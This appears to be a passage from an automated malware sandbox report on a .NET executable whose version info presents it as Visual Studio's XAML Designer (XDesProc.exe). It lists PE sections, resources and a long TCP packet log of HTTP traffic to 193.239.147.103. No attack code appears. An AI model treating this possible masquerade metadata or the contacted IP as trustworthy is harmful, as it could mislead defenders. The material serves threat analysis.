IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x177c4	0x17800	False	0.283764128989	data	5.63725978079	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x1a000	0xc60	0xe00	False	0.495535714286	data	4.81005147866	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
IBC	0x1a10c	0x485	data
RT_VERSION	0x1a594	0x394	data	English	United States
RT_MANIFEST	0x1a928	0x331	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators	English	United States

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
LegalCopyright	Microsoft Corporation. All rights reserved.
InternalName	XDesProc.exe
FileVersion	16.6.30114.105 built by: D16.6
CompanyName	Microsoft Corporation
ProductName	Microsoft Visual Studio
ProductVersion	16.6.30114.105
FileDescription	Microsoft Visual Studio XAML Designer
OriginalFilename	XDesProc.exe
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 27, 2021 15:15:04.075184107 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.124214888 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.124363899 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.125174999 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.173216105 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.173243999 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.173261881 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.173279047 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.173307896 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.173325062 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.173335075 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.173341036 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.173357964 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.173374891 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.173397064 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.173409939 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.173429966 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.173460007 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.220325947 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220357895 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220374107 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220391035 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220407963 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220423937 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220443964 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220463991 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220479965 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220496893 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220514059 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220525026 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220539093 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220551014 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220555067 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.220563889 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220582962 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220599890 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220616102 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220632076 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.220634937 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220654011 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.220669031 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.220707893 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.268702030 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.268733978 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.268752098 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.268769026 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.268785954 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.268798113 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.268801928 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.268829107 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.268853903 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.268888950 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.268919945 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.268937111 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.268953085 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.268966913 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.268973112 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.268991947 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.268992901 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.269010067 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269026995 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269035101 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.269043922 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269061089 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269077063 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269081116 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.269094944 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269117117 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269119024 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.269134998 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269143105 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.269153118 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269170046 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269176960 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.269193888 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269210100 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.269216061 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269233942 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269251108 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269258022 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.269273043 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269289970 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269294977 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.269306898 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269324064 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269334078 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.269340038 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269356966 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269365072 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.269372940 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269406080 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.269407988 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269427061 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269447088 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.269455910 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.269499063 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.316669941 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.316696882 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.316714048 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.316730022 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.316745043 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.316759109 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.316775084 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.316790104 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.316803932 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.316822052 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.316827059 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.316838980 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.316855907 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.316891909 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.316926003 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317162037 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317182064 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317198038 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317213058 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317235947 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317262888 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317276955 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317280054 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317296028 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317311049 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317336082 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317339897 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317359924 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317362070 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317378044 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317408085 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317423105 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317428112 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317440033 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317460060 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317487955 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317500114 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317502022 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317518950 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317534924 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317552090 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317557096 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317569971 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317585945 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317596912 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317603111 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317620993 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317630053 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317641973 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317661047 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317666054 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317677021 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317686081 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317696095 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317713022 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317725897 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317728996 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317744970 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317761898 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317780018 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317781925 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317801952 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317806959 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317820072 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317836046 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317843914 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317853928 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.317873955 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.317909002 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.363903046 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.363929987 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.363950014 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.363967896 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.363984108 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364000082 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364017010 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364017010 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.364032984 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364047050 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364058971 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364072084 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364077091 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.364084959 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364098072 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364110947 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364126921 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364149094 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.364181042 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.364648104 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364696026 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364713907 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364727020 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.364733934 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364753008 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364773035 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364773035 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.364793062 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364803076 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.364809990 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364828110 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364846945 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364854097 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.364866018 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364878893 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.364883900 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364903927 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364922047 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364931107 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.364943027 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364959955 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364969969 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.364976883 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.364995003 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365003109 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.365011930 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365025997 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.365030050 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365046978 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365056992 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.365068913 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365087032 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365091085 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.365103960 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365120888 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365137100 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365145922 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.365154028 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365170002 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365176916 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.365187883 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365200043 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.365207911 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365226030 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365236998 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.365241051 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365257978 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.365268946 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.365298986 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.411149979 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411181927 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411195993 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411212921 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411230087 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411246061 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411263943 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411278963 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411295891 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411315918 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411334038 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411338091 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.411350965 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411369085 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411386013 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411401033 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.411412954 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.411452055 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412110090 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412136078 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412157059 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412177086 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412189007 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412193060 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412210941 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412221909 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412226915 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412244081 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412246943 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412261963 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412271976 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412278891 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412298918 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412316084 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412322998 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412333965 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412349939 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412359953 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412365913 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412381887 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412388086 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412399054 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412415028 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412432909 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412434101 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412450075 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412458897 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412467003 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412483931 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412499905 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412499905 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412517071 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412532091 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412534952 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412552118 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412559032 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412571907 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412590027 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412591934 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412602901 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412620068 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412636042 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412653923 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412671089 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412688017 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.412693977 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.412739992 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.458673954 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458702087 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458714962 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458728075 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458745003 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458764076 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458781004 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458796024 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458801985 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.458808899 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458827972 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458844900 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458861113 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458878040 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458898067 CET	80	49721	193.239.147.103	192.168.2.3
